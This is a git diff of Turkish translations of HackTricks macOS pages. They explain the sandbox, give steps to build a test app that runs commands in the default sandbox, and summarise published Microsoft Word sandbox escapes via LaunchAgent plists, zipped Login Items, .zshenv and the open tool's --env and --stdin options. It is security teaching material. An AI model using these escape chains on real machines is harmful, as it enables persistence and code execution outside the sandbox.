Ve eğer üçüncü taraf bir uygulama _**com.apple.security.app-sandbox**_ yetkisine sahipse, sistem o işlem için **/System/Library/Sandbox/Profiles/application.sb** profilini uygular.
|
||||
Ve eğer bir üçüncü taraf uygulama _**com.apple.security.app-sandbox**_ yetkisine sahipse, sistem bu süreç için **/System/Library/Sandbox/Profiles/application.sb** profilini uygular.
|
||||
|
||||
### **iOS Sandbox Profili**
|
||||
|
||||
Varsayılan profil **container** olarak adlandırılır ve SBPL metin temsilini kullanmıyoruz. Bellekte, bu sandbox her izin için Allow/Deny ikili ağacı olarak temsil edilir.
|
||||
Varsayılan profil **container** olarak adlandırılır ve SBPL metin temsiline sahip değiliz. Bellekte, bu sandbox, sandbox'tan her izin için Allow/Deny ikili ağacı olarak temsil edilir.
|
||||
|
||||
### Hata Ayıklama ve Sandbox'ı Atlatma
|
||||
### Debug & Sandbox'ı Atlatma
|
||||
|
||||
macOS'ta, iOS'tan farklı olarak, işlemler çekirdek tarafından baştan itibaren sandbox'a alınmaz, **işlemler kendilerini sandbox'a dahil etmek için aktif olarak seçmelidir**. Bu, macOS'ta bir işlemin sandbox tarafından kısıtlanmadığı anlamına gelir, ta ki aktif olarak içine girmeye karar verene kadar.
|
||||
macOS'ta, iOS'tan farklı olarak, süreçler başlangıçta çekirdek tarafından sandbox'a alınmaz, **süreçlerin kendilerinin sandbox'a katılmayı seçmesi gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir.
|
||||
|
||||
İşlemler, `com.apple.security.app-sandbox` yetkisine sahipse, kullanıcı alanından başladıklarında otomatik olarak sandbox'a alınır. Bu işlem hakkında ayrıntılı bir açıklama için şuna bakın:
|
||||
Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak sandbox'a alınır. Bu sürecin detaylı açıklaması için kontrol edin:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **PID Yetkilerini Kontrol Etme**
|
||||
### **PID Yetkilerini Kontrol Et**
|
||||
|
||||
[**Buna göre**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (bir `__mac_syscall`), belirli bir PID'deki sandbox tarafından bir işlemin izin verilip verilmediğini kontrol edebilir.
|
||||
[**Buna göre**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (bu bir `__mac_syscall`), belirli bir PID'de **bir işlemin izinli olup olmadığını** kontrol edebilir.
|
||||
|
||||
[**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) aracı, bir PID'nin belirli bir eylemi gerçekleştirebilip gerçekleştiremeyeceğini kontrol edebilir.
|
||||
[**sbtool aracı**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c), bir PID'nin belirli bir eylemi gerçekleştirip gerçekleştiremeyeceğini kontrol edebilir:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### App Store uygulamalarında özel SBPL
|
||||
### App Store uygulamalarında Özel SBPL
|
||||
|
||||
Şirketlerin uygulamalarını varsayılan yerine **özel Sandbox profilleriyle** çalıştırması mümkün olabilir. Bunun için Apple tarafından yetkilendirilmesi gereken **`com.apple.security.temporary-exception.sbpl`** yetkisi kullanılması gerekmektedir.
|
||||
Şirketlerin uygulamalarını **özel Sandbox profilleriyle** çalıştırmaları mümkün olabilir (varsayılan olan yerine). Bunun için Apple tarafından yetkilendirilmesi gereken **`com.apple.security.temporary-exception.sbpl`** yetkisini kullanmaları gerekir.
|
||||
|
||||
Bu yetkinliğin tanımını **`/System/Library/Sandbox/Profiles/application.sb:`** dosyasında kontrol etmek mümkündür.
|
||||
Bu yetkinin tanımını **`/System/Library/Sandbox/Profiles/application.sb:`** dosyasında kontrol etmek mümkündür.
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -257,18 +262,19 @@ Bu yetkinliğin tanımını **`/System/Library/Sandbox/Profiles/application.sb:`
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Bu, bu yetkiye sahip bir dizeyi Sandbox profili olarak değerlendirecektir.
|
||||
Bu, **bu yetki sonrasındaki dizeyi** bir Sandbox profili olarak **değerlendirecektir**.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# macOS Default Sandbox Debug
|
||||
# macOS Varsayılan Sandbox Hatası Ayıklama
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana dönüştürmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Bu sayfada, varsayılan macOS kum sandbox'ından herhangi bir komutu başlatmak için bir uygulama nasıl oluşturulacağını bulabilirsiniz:
|
||||
Bu sayfada, varsayılan macOS sandbox'ından içeriye rastgele komutlar gönderen bir uygulama nasıl oluşturulacağını bulabilirsiniz:
|
||||
|
||||
1. Uygulamayı derleyin:
|
||||
|
||||
|
@ -50,10 +51,9 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Bunu derlemek için şunu çalıştırın: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
Bunu çalıştırarak derleyin: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. `.app` paketini oluşturun
|
||||
|
||||
```bash
|
||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||
|
@ -75,11 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
|
||||
3. Yetkilendirmeleri tanımlayın
|
||||
3. Yetkilileri tanımlayın
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="sandbox" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -94,7 +93,7 @@ EOF
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sandbox + indirmeler" %}
|
||||
{% tab title="sandbox + downloads" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -112,8 +111,7 @@ EOF
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
4. Uygulamayı imzalayın (anahtar zincirinde bir sertifika oluşturmanız gerekmektedir)
|
||||
|
||||
4. Uygulamayı imzalayın (anahtar zincirinde bir sertifika oluşturmanız gerekiyor)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
@ -121,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
|||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,72 +1,78 @@
|
|||
# macOS Office Sandbox Geçişleri
|
||||
# macOS Office Sandbox Bypasses
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Word Sandbox Geçişi Launch Agentlar aracılığıyla
|
||||
### Word Sandbox bypass via Launch Agents
|
||||
|
||||
Uygulama, **`com.apple.security.temporary-exception.sbpl`** yetkisi kullanarak **özel bir Sandbox** kullanır ve bu özel Sandbox, dosya adı `~$` ile başladığı sürece herhangi bir yere dosya yazmaya izin verir: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
Uygulama, **`com.apple.security.temporary-exception.sbpl`** yetkisini kullanarak **özel bir Sandbox** kullanıyor ve bu özel sandbox, dosya adının `~$` ile başlaması koşuluyla her yere dosya yazılmasına izin veriyor: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
Bu nedenle, kaçış işlemi, `~/Library/LaunchAgents/~$escape.plist` konumunda bir `plist` LaunchAgent'ı yazmak kadar kolaydı.
|
||||
Bu nedenle, kaçış yapmak **`~/Library/LaunchAgents/~$escape.plist`** içinde bir **`plist`** LaunchAgent yazmak kadar kolaydı.
|
||||
|
||||
[**Orijinal rapora buradan**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/) bakın.
|
||||
[**orijinal raporu buradan kontrol edin**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### Word Sandbox Geçişi Login Öğeleri ve zip ile
|
||||
### Word Sandbox bypass via Login Items and zip
|
||||
|
||||
İlk kaçıştan hatırlayın, Word, `~$` ile başlayan keyfi dosyalar yazabilir, ancak önceki zafiyetin düzeltmesinden sonra `/Library/Application Scripts` veya `/Library/LaunchAgents` dizinlerine yazmak mümkün olmamıştır.
|
||||
İlk kaçıştan hatırlayın, Word `~$` ile başlayan rastgele dosyalar yazabilir, ancak önceki güvenlik açığının yamanmasından sonra `/Library/Application Scripts` veya `/Library/LaunchAgents` içine yazmak mümkün değildi.
|
||||
|
||||
Sandbox içinden bir **Giriş Öğesi** (kullanıcı oturum açtığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **imzalanmadıkça** çalışmayacak ve argüman eklemek mümkün olmayacak (yani **`bash`** kullanarak ters kabuk çalıştıramazsınız).
|
||||
Sandbox içinde bir **Login Item** (kullanıcı giriş yaptığında çalıştırılacak uygulamalar) oluşturmanın mümkün olduğu keşfedildi. Ancak, bu uygulamalar **notarize edilmedikçe** **çalışmayacak** ve **argüman eklemek mümkün değil** (yani sadece **`bash`** kullanarak bir ters shell çalıştıramazsınız).
|
||||
|
||||
Önceki Sandbox geçişinden sonra, Microsoft `~/Library/LaunchAgents` dizinine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Giriş Öğesi** olarak eklerseniz, `Archive Utility` bunu mevcut konumunda sadece **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` dizininde `LaunchAgents` klasörü oluşturulmadığından, `LaunchAgents/~$escape.plist` konumunda bir plist'i sıkıştırıp **zip dosyasını `~/Library`** dizinine yerleştirmek mümkün olmuştur, böylece açıldığında kalıcılık hedefine ulaşacaktır.
|
||||
Önceki Sandbox kaçışından sonra, Microsoft `~/Library/LaunchAgents` içine dosya yazma seçeneğini devre dışı bıraktı. Ancak, bir **zip dosyasını Login Item olarak koyarsanız**, `Archive Utility` sadece mevcut konumda **açacaktır**. Bu nedenle, varsayılan olarak `~/Library` içindeki `LaunchAgents` klasörü oluşturulmadığı için, **`LaunchAgents/~$escape.plist`** içindeki bir plist'i **zipleyip** **`~/Library`** içine yerleştirmek mümkün oldu, böylece açıldığında kalıcılık hedefine ulaşacaktır.
|
||||
|
||||
[**Orijinal rapora buradan**](https://objective-see.org/blog/blog\_0x4B.html) bakın.
|
||||
[**orijinal raporu buradan kontrol edin**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||
|
||||
### Word Sandbox Geçişi Login Öğeleri ve .zshenv ile
|
||||
### Word Sandbox bypass via Login Items and .zshenv
|
||||
|
||||
(İlk kaçıştan hatırlayın, Word, `~$` ile başlayan keyfi dosyalar yazabilir).
|
||||
(İlk kaçıştan hatırlayın, Word `~$` ile başlayan rastgele dosyalar yazabilir).
|
||||
|
||||
Ancak, önceki teknik bir kısıtlamaya sahipti, eğer **`~/Library/LaunchAgents`** dizini başka bir yazılım tarafından oluşturulduysa başarısız olacaktı. Bu nedenle, bunun için farklı bir Login Öğeleri zinciri keşfedildi.
|
||||
Ancak, önceki teknik bir sınırlamaya sahipti; eğer **`~/Library/LaunchAgents`** klasörü başka bir yazılım tarafından oluşturulmuşsa, başarısız oluyordu. Bu nedenle, bunun için farklı bir Login Items zinciri keşfedildi.
|
||||
|
||||
Saldırgan, yürütülecek yükü içeren **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturabilir ve ardından bunları zipleyebilir ve zip dosyasını kurbanın kullanıcı klasörüne **`~/~$escape.zip`** yazabilir.
|
||||
Bir saldırgan, çalıştırılacak yüklemi içeren **`.bash_profile`** ve **`.zshenv`** dosyalarını oluşturabilir ve ardından bunları zipleyip **kurbanın** kullanıcı klasörüne yazabilirdi: **`~/~$escape.zip`**.
|
||||
|
||||
Daha sonra, zip dosyasını **Login Öğeleri'ne** ve ardından **`Terminal`** uygulamasına ekleyin. Kullanıcı yeniden oturum açtığında, zip dosyası kullanıcının dosyasına sıkıştırılmadan açılacak ve **`.bash_profile`** ve **`.zshenv`** üzerine yazacak ve bu nedenle terminal bu dosyalardan birini yürütecektir (bash veya zsh kullanılıp kullanılmadığına bağlı olarak).
|
||||
Sonra, zip dosyasını **Login Items**'a ekleyip ardından **`Terminal`** uygulamasını ekleyin. Kullanıcı tekrar giriş yaptığında, zip dosyası kullanıcı dosyasında açılacak, **`.bash_profile`** ve **`.zshenv`** dosyalarını üzerine yazacak ve dolayısıyla terminal bu dosyalardan birini çalıştıracaktır (bash veya zsh kullanılıp kullanılmadığına bağlı olarak).
|
||||
|
||||
[**Orijinal rapora buradan**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) bakın.
|
||||
[**orijinal raporu buradan kontrol edin**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### Word Sandbox Geçişi Open ve env değişkenleri ile
|
||||
### Word Sandbox Bypass with Open and env variables
|
||||
|
||||
Sandbox süreçlerinden, diğer süreçleri **`open`** yardımıyla çağırmak hala mümkündür. Dahası, bu süreçler kendi Sandbox'larında çalışacaktır.
|
||||
Sandboxlı süreçlerden, diğer süreçleri **`open`** aracıyla çağırmak hala mümkündür. Dahası, bu süreçler **kendi sandbox'larında** çalışacaktır.
|
||||
|
||||
`open` yardımcı programının, **belirli env** değişkenleriyle bir uygulamayı çalıştırmak için **`--env`** seçeneğine sahip olduğu keşfedildi. Bu nedenle, Sandbox'ın **içinde** bir klasörün içine **`.zshenv` dosyası** oluşturmak ve `open`'ı kullanarak `--env` ile **`HOME` değişkenini** o klasöre ayarlamak ve bu `Terminal` uygulamasını açmak mümkün oldu, bu da `.zshenv` dosyasını yürütecektir (bir nedenle değişken `__OSINSTALL_ENVIROMENT`'in ayarlanması gerekiyordu).
|
||||
Open aracının **belirli env** değişkenleri ile bir uygulama çalıştırmak için **`--env`** seçeneğine sahip olduğu keşfedildi. Bu nedenle, **sandbox** içinde bir klasör içinde **`.zshenv` dosyası** oluşturmak ve `--env` ile `HOME` değişkenini o klasöre ayarlayarak `Terminal` uygulamasını açmak mümkün oldu; bu, `.zshenv` dosyasını çalıştıracaktır (bir nedenle `__OSINSTALL_ENVIROMENT` değişkenini de ayarlamak gerekiyordu).
|
||||
|
||||
[**Orijinal rapora buradan**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/) bakın.
|
||||
[**orijinal raporu buradan kontrol edin**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### Word Sandbox Geçişi Open ve stdin ile
|
||||
### Word Sandbox Bypass with Open and stdin
|
||||
|
||||
**`open`** yardımcı programı ayrıca **`--stdin`** parametresini de desteklemektedir (ve önceki geçişten sonra `--env` kullanmak artık mümkün değildi).
|
||||
**`open`** aracı ayrıca **`--stdin`** parametresini destekliyordu (ve önceki kaçıştan sonra `--env` kullanmak artık mümkün değildi).
|
||||
|
||||
Mesele şu ki, **`python`** Apple tarafından imzalanmış olsa bile, **`karantina`** özniteliğine sahip bir betiği **çalıştırmaz**. Bununla birlikte, stdin'den bir betik geçirilebildiğinden, karantinaya alınıp alınmadığı kontrol edilmez: 
|
||||
Şu durum var ki, **`python`** Apple tarafından imzalanmış olsa da, **`quarantine`** niteliğine sahip bir betiği **çalıştırmaz**. Ancak, stdin'den bir betik geçirebilmek mümkündü, böylece karantinada olup olmadığını kontrol etmeyecekti:
|
||||
|
||||
1. Keyfi Python komutları içeren bir **`~$exploit.py`** dosyası bırakın.
|
||||
2. _open_ **`–stdin='~$exploit.py' -a Python`** komutunu çalıştırın, bu da Python uygulamasını bıraktığımız dosya ile standart girişi olarak çalıştırır. Python kodumuzu mutlu bir şekilde çalıştırır ve _launchd_'nin bir alt süreci olduğu için Word'ün sandbox kurallarına bağlı değildir.
|
||||
1. Rastgele Python komutları içeren bir **`~$exploit.py`** dosyası bırakın.
|
||||
2. _open_ **`–stdin='~$exploit.py' -a Python`** komutunu çalıştırın; bu, Python uygulamasını standart girdi olarak bıraktığımız dosya ile çalıştırır. Python, kodumuzu memnuniyetle çalıştırır ve çünkü bu, _launchd_'nin bir çocuk süreci olduğundan, Word'ün sandbox kurallarına bağlı değildir.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,56 @@
|
|||
# macOS Apple Scriptleri
|
||||
# macOS Apple Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
